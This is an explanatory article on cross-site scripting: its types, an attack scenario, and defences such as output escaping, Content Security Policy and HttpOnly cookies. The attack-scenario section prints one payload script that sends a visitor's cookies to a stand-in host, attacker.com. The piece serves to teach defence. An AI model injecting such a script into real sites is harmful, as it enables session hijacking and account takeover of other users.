Cross-Site Scripting (XSS): Types, Attack Vectors & Mitigation Strategies

Understanding Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a vulnerability that occurs when a web application includes untrusted user-supplied data in a web page without adequate validation, sanitization, or context-aware escaping. This allows attackers to inject and execute malicious client-side JavaScript in the browsers of other users who visit the affected page.

Because the malicious script executes within the victim's authenticated browser context, it has access to cookies (unless marked HttpOnly), session tokens, local storage, and the full Document Object Model (DOM), enabling session hijacking, account takeover, and keystroke logging.

The Three Primary Types of XSS

1. Stored XSS (Persistent)

Stored XSS is the most damaging variant. The injected script is permanently stored on the target servers (for example, in a database comment field, blog post, or profile bio). Whenever other users navigate to that resource, the server serves the malicious payload as part of the normal page content, executing the script automatically in every visitor's browser.

2. Reflected XSS (Non-Persistent)

Reflected XSS occurs when an application receives untrusted data in an HTTP request (typically via URL query parameters) and immediately reflects that data in the response without proper escaping. Attackers distribute weaponized URLs through phishing emails, social media posts, or messaging apps to trick victims into clicking them.

3. DOM-Based XSS

Unlike stored or reflected XSS, DOM-based XSS is entirely executed on the client side. The vulnerability occurs when client-side JavaScript reads data from a controllable source (such as location.search, document.referrer, or window.name) and writes that data to an unsafe sink (such as innerHTML, document.write, or eval()).

Practical Attack Scenarios

Consider an insecure profile status update that outputs user bios directly into the DOM using raw HTML:

<!-- Insecure bio display -->
<div id="bio-container">
  <script>
    fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
  </script>
</div>

Defensive Strategies & Prevention

1. Context-Aware Output Escaping

Modern frameworks like React, Vue, and Angular automatically encode variables placed in template bindings. They replace characters like <, >, ", and & with their corresponding HTML entity codes, preventing the browser from interpreting user input as markup.

2. Implementing Content Security Policy (CSP)

Content Security Policy is an essential defense-in-depth mechanism. By sending a Content-Security-Policy HTTP response header, you instruct modern browsers to disallow inline script execution and only execute scripts loaded from approved origins or with valid cryptographic nonces.

3. Secure Cookie Flags

Always configure session cookies with the HttpOnly attribute. This prevents JavaScript from reading the cookie via document.cookie, effectively neutralizing cookie theft even if an XSS vulnerability exists on the page.

Conclusion

Protecting modern web applications against Cross-Site Scripting requires combining contextual escaping, HTML sanitization, secure cookie storage, and Content Security Policies. By adhering to these practices, developers can build reliable, secure applications that safeguard user data.